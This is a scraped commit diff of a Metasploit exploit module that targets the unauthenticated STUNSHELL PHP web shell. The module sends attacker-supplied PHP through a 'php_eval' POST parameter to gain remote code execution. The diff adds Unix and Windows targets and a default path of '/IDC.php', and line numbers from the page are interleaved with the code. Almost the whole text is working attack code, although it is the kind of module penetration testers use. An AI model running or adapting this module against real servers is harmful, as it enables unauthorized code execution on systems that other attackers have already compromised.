8
8
require 'msf/core'
9
9
10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = GreatRanking
11
12
12
13
include Msf ::Exploit ::Remote ::HttpClient
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
16
- 'Name' => '" STUNSHELL" Web Shell Remote Code Execution(PHP eval)' ,
17
+ 'Name' => 'STUNSHELL Web Shell Remote Code Execution(PHP eval)' ,
17
18
'Description' => %q{
18
- This module exploits unauthenticated versions of the "STUNSHELL" web shell. This
19
+ his module exploits unauthenticated versions of the "STUNSHELL" web shell. This
19
20
module works when safe mode is enabled on the web server. This shell is widely
20
21
used in automated RFI payloads.
21
22
} ,
@@ -27,7 +28,7 @@ module works when safe mode is enabled on the web server. This shell is widely
27
28
'References' =>
28
29
[
29
30
[ 'URL' , 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL' ] ,
30
- [ 'URL' , 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007' ] ,
31
+ [ 'URL' , 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007' ]
31
32
] ,
32
33
'Privileged' => false ,
33
34
'Payload' =>
@@ -38,22 +39,26 @@ module works when safe mode is enabled on the web server. This shell is widely
38
39
} ,
39
40
'Platform' => [ 'php' ] ,
40
41
'Arch' => ARCH_PHP ,
41
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
42
+ 'Targets' =>
43
+ [
44
+ [ 'stunshell / Unix' , { 'Platform' => 'unix' } ] ,
45
+ [ 'stunshell / Windows' , { 'Platform' => 'win' } ]
46
+ ] ,
42
47
'DisclosureDate' => 'Mar 23 2013' ,
43
48
'DefaultTarget' => 0 ) )
44
49
45
50
register_options (
46
51
[
47
- OptString . new ( 'URI ' , [ true , "The path to the andalas_oku shell" , "/" ] ) ,
52
+ OptString . new ( 'TARGETURI ' , [ true , "The path to the andalas_oku shell" , "/IDC.php " ] ) ,
48
53
] , self . class )
49
54
end
50
55
51
56
def check
52
- uri = normalize_uri ( datastore [ 'URI' ] )
57
+ uri = normalize_uri ( target_uri . path . to_s )
53
58
request_parameters = {
54
- 'method' => 'POST' ,
55
- 'uri' => uri ,
56
- 'vars_post' =>
59
+ 'method' => 'POST' ,
60
+ 'uri' => uri ,
61
+ 'vars_post' =>
57
62
{
58
63
'cmd' => "php_eval" ,
59
64
'php_eval' => "print 'andalas_oku test parameter';"
@@ -66,12 +71,12 @@ def check
66
71
return Exploit ::CheckCode ::Safe
67
72
end
68
73
69
- def http_send_command ( cmd , opts = { } )
70
- uri = normalize_uri ( datastore [ 'URI' ] )
74
+ def http_send_command ( cmd )
75
+ uri = normalize_uri ( target_uri . path . to_s )
71
76
request_parameters = {
72
- 'method' => 'POST' ,
73
- 'uri' => uri ,
74
- 'vars_post' =>
77
+ 'method' => 'POST' ,
78
+ 'uri' => uri ,
79
+ 'vars_post' =>
75
80
{
76
81
'cmd' => "php_eval" ,
77
82
"php_eval" => cmd
@@ -80,10 +85,6 @@ def http_send_command(cmd, opts = {})
80
85
res = send_request_cgi ( request_parameters )
81
86
end
82
87
83
- def execute_command ( cmd , opts = { } )
84
- http_send_command ( "#{ cmd } " )
85
- end
86
-
87
88
def exploit
88
89
http_send_command ( payload . encoded )
89
90
end
0 commit comments